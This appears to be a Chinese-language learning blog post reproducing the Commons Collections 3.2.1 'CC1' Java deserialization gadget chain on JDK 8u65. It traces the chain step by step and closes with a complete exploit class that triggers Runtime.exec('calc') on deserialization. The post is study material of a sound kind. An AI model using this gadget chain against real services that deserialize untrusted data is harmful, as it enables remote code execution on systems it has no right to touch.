环境配置:
首先我们要下载jdk8u65
Java 存档下载 — Java SE 8 | Oracle 中国
下载完成之后,打开idea,进入项目结构,把jdk路径改成我们刚刚下载的文件
然后我们配置maven下载需要的cc版本
我们直接copy到pom.xml就行
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
到这里其实基本配置已经完成,但是为了利于我们后面的调试和跟进链我们还需要下载源码,因为原来的文件是反编译的类文件
这里是相应的下载地址https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
我们下载zip压缩包就可以
进入刚刚下载的压缩包
可以看到sun文件夹,我们把这里的sun文件夹放到之前下载的jdk文件里src.zip里面,然后再把src.zip文件解压
然后我们在之前结构项目里面增加src.zip这个源路径
准备工作结束。我们开始复现。
cc1始于一个类中的危险函数。
在invokerTransformer类里面有一个危险方法transform,利用它我们可以进行命令执行
我们先来看看这个类是怎么实例化的
我没找到public属性的该类,记住相关参数以及类型要求。然后我们再去看到transform方法
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
如果学过反射,我们一眼就能看出来这是在干什么。没学过的我们不妨做一遍
怎么样,我们利用反射的过程是不是和这个函数在做的事情出奇的像?那既然通过反射我们成功执行命令,那反序列化过程中调用这个危险函数是不是也可以呢?答案显而易见
至此,我们的思路出现了:我们尝试通过不同类的同名方法一路调用,最终与某个类readObject函数产生关系。
我们来看哪个类还调用了transform.
我们可以找到某个特殊的map类
这里三个对象都调用了transform方法,但是checksetvalue门槛最低,最符合我们的要求。我们就先来看他
发现它是protected属性的,我们就不得不想办法实例化这个类。往上翻我们发现了这个
这个静态变量可以把一个map变成Transformed类。通过这个方法,我们就可以实例化这个类然后调用checksetvalue了
然后我们就把矛盾转移到了Checksetvalue头上,我们找找哪个其他类还用了checksetvalue
发现只有一个
我们进入这个类,先看这个方法怎么实现的。通过观察可以发现:这个方法在map键值操作中可以调用。所以我们只要遍历一个map就可以调用这个setvalue
梳理一下思路:
找到危险方法transform,寻找其他可以调用它的类,找到了checkvalue方法,再找谁调用了checkvalue,发现setvalue调用了它,那如何使用setvalue方法呢?我们需要通过遍历map的键值来使用setvalue方法。好,我们现在就是走到这一步了。
那我们继续看是谁调用了setvalue
发现这个类下面的readobject居然调用了它。至此,基本链我们就走完了
我们来看细节。
这时候我们要想办法实例化这个AnnotationInvocationHandler类,找了半天没找到能调用的点,整个能用的都是私有的。我们就利用反射获得这个类。
到这里我们还遗留了一些问题
问题一:这个setvalue的值我们无法控制
问题二:这里的runtime类是不可序列化的
问题三:在setvalue执行之前我们需要通过两个if判断
我们一个个来
针对第一个问题,我们要通过反射获得一个可序列化的Runtime。
这里有不少限制,但是我们发现了这个方法
不仅是静态的,还会返还一个Runtime。我们可以利用Runtime的原型类。他的原形类是可以序列化的。这里我们再次利用反射。
这里我们就可以全部把他变成InvokerTransformer表示
Method method=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime"}).transform(Runtime.class);
Runtime r =(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(method);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
前面正好有一个ConstantTransformer满足这个逻辑。所以我们利用他成链
Transformer[] transformers=new Transformer[]{new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime"}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
//Method method=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime"}).transform(Runtime.class);
//Runtime r =(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(method);
//new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
到这里,问题一就解决了
我们接着来看问题三
我们下断点调试
很明显membertype是空的,这就导致跳出循环了,我们必须保证它 不是空的,我们看看它是什么。
我们发现它来自类AnnotationInvocationHandler实例化时候赋予的成员类型。而我们之前采用的是Override.class,这东西类型返回是空。我们转到他的声明,发现同类的Target是有返回的
我们改掉
一开始我觉得只要修改Target就够了,但是改了之后值还是null,在这里卡了很久,看了别的师傅的文章,原来这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称。所以不仅要换成Target,而且还要把前面的键名换成Target返回名
这样修改之后就过了两个if
再来解决最后一个问题
这里的setvalue我们无法控制参数值,我们想要的是Runtime.class
这里我们发现ConstantTransformer类,
这个类我们使用transform时,不管传入什么值,最后他都会返回我们一开始定义的参数数值。
而且他还是可以直接调用,我们直接把他加进前面的链里面
这样就完成了
附上最终exp:
public class file {
public static void main( String[] args) throws Exception
{
Transformer[] transformers={
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","abc");
Map<Object,Object>transformedmap=TransformedMap.decorate(map,null,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj=constructor.newInstance(Target.class,transformedmap);
serialize(obj);
unserialize("1.bin");
}
public static void serialize(Object object)throws Exception{
ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("1.bin"));
objectOutputStream.writeObject(object);
}
public static void unserialize(String Filename)throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(Filename));
objectInputStream.readObject();
}
}
总结
第一个cc链一路走下来来来回回花了差不多三四天的时间,之前对反射还不是那么熟悉,但是cc链跟下来之后,对java类,方法,java反射有了更深刻的理解。总结下来cc链的思路就是找到危险类中的危险方法,然后就是如何使用这个方法,之后思考如何跳转到别的类,别的类的某方法可以和危险方法联动,然后思考怎么实现这个类。然后思考再跳转到别的类,直到重写某个类的Readobject方法